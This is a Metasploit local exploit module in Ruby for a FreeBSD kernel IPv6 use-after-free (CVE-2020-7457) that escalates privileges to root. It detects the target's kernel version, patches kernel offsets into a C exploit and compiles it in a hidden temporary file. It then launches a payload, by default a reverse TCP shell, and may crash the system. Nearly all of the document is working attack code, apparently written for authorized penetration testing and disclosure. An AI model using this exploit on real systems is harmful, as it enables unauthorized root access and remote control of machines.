##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation',
        'Description' => %q{
          This module exploits a race and use-after-free vulnerability in the
          FreeBSD kernel IPv6 socket handling. A missing synchronization lock
          in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits
          racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.

          This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`
          struct in freed memory to achieve arbitrary kernel read/write.

          This module has been tested successfully on:

          FreeBSD 9.0-RELEASE #0 (amd64);
          FreeBSD 9.1-RELEASE #0 r243825 (amd64);
          FreeBSD 9.2-RELEASE #0 r255898 (amd64);
          FreeBSD 9.3-RELEASE #0 r268512 (amd64);
          FreeBSD 12.0-RELEASE r341666 (amd64); and
          FreeBSD 12.1-RELEASE r354233 (amd64).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Andy Nguyen', # @theflow0 - discovery and exploit
          'bcoles' # metasploit
        ],
        'DisclosureDate' => '2020-07-07',
        'Platform' => ['bsd'], # FreeBSD
        'Arch' => [ARCH_X64],
        'SessionTypes' => ['shell'],
        'References' => [
          ['CVE', '2020-7457'],
          ['EDB', '48644'],
          ['PACKETSTORM', '158341'],
          ['URL', 'https://hackerone.com/reports/826026'],
          ['URL', 'https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-ipv6'],
          ['URL', 'https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch'],
          ['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h'],
          ['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c']
        ],
        'Targets' => [
          [
            'Automatic',
            {}
          ],
          [
            'FreeBSD 9.0-RELEASE #0',
            {
              allproc: '0xf01e40'
            }
          ],
          [
            'FreeBSD 9.1-RELEASE #0 r243825',
            {
              allproc: '0x1028880'
            }
          ],
          [
            'FreeBSD 9.2-RELEASE #0 r255898',
            {
              allproc: '0x11c9ba0'
            }
          ],
          [
            'FreeBSD 9.3-RELEASE #0 r268512',
            {
              allproc: '0x1295800'
            }
          ],
          [
            'FreeBSD 12.0-RELEASE r341666',
            {
              allproc: '0x1df3c38'
            }
          ],
          [
            'FreeBSD 12.1-RELEASE r354233',
            {
              allproc: '0x1df7648'
            }
          ],
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'bsd/x64/shell_reverse_tcp',
          'PrependFork' => true,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_OS_RESTARTS],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        },
        'DefaultTarget' => 0
      )
    )
    register_advanced_options([
      OptInt.new('NUM_SPRAY', [true, 'Spray iterations', 256]),
      OptInt.new('NUM_SPRAY_RACE', [true, 'Race iterations', 32]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status("Writing '#{path}' (#{data.size} bytes) ...")
    rm_f(path)
    write_file(path, data)
    register_file_for_cleanup(path)
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def select_target(kernel_version)
    targets.each do |t|
      return t if kernel_version.include?(t.name)
    end
    nil
  end

  def check
    kernel_version = cmd_exec('uname -v').to_s

    unless kernel_version.include?('FreeBSD')
      return CheckCode::Safe('Target system is not FreeBSD')
    end

    kernel_arch = cmd_exec('uname -m').to_s

    unless kernel_arch.include?('64')
      return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
    end

    vprint_good("System architecture #{kernel_arch} is supported")

    unless select_target(kernel_version)
      return CheckCode::Safe("No target for #{kernel_version}")
    end

    vprint_good("#{kernel_version} appears vulnerable")

    unless command_exists?('cc')
      return CheckCode::Safe('cc is not installed')
    end

    vprint_good('cc is installed')

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    if target.name == 'Automatic'
      kernel_version = cmd_exec('uname -v').to_s
      my_target = select_target(kernel_version)
      unless my_target
        fail_with(Failure::NoTarget, "No target for #{kernel_version}")
      end
    else
      my_target = target
    end

    print_status("Using target: #{my_target.name} - allproc offset: #{my_target[:allproc]}")

    exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    exploit_data = exploit_data('CVE-2020-7457', 'exploit.c')

    if my_target.name.start_with?('FreeBSD 12')
      exploit_data.gsub!('// #define FBSD12', '#define FBSD12')
    end

    exploit_data.gsub!(/#define ALLPROC_OFFSET .*$/, "#define ALLPROC_OFFSET #{my_target[:allproc]}")

    exploit_data.gsub!(/#define NUM_SPRAY 0x100/, "#define NUM_SPRAY #{datastore['NUM_SPRAY']}")
    exploit_data.gsub!(/#define NUM_KQUEUES 0x100/, "#define NUM_KQUEUES #{datastore['NUM_SPRAY']}")
    exploit_data.gsub!(/#define NUM_SPRAY_RACE 0x20/, "#define NUM_SPRAY_RACE #{datastore['NUM_SPRAY_RACE']}")

    upload("#{exploit_path}.c", strip_comments(exploit_data))

    print_status("Compiling #{exploit_path}.c ...")
    output = cmd_exec("cc '#{exploit_path}.c' -o '#{exploit_path}' -std=c99 -lpthread")
    register_file_for_cleanup(exploit_path)

    unless output.blank?
      print_error(output)
      fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
    end

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

    upload_and_chmodx(payload_path, generate_payload_exe)
    register_file_for_cleanup(payload_path)

    timeout = 30
    print_status("Launching exploit (timeout: #{timeout}s) ...")
    output = cmd_exec(exploit_path, nil, timeout).to_s
    output.each_line { |line| vprint_status line.chomp }

    sleep(3)

    print_status(cmd_exec('id').to_s)

    unless is_root?
      fail_with(Failure::Unknown, 'Exploit completed without elevating privileges')
    end

    print_good('Success! Executing payload...')

    cmd_exec("#{payload_path} & echo ")
  end
end
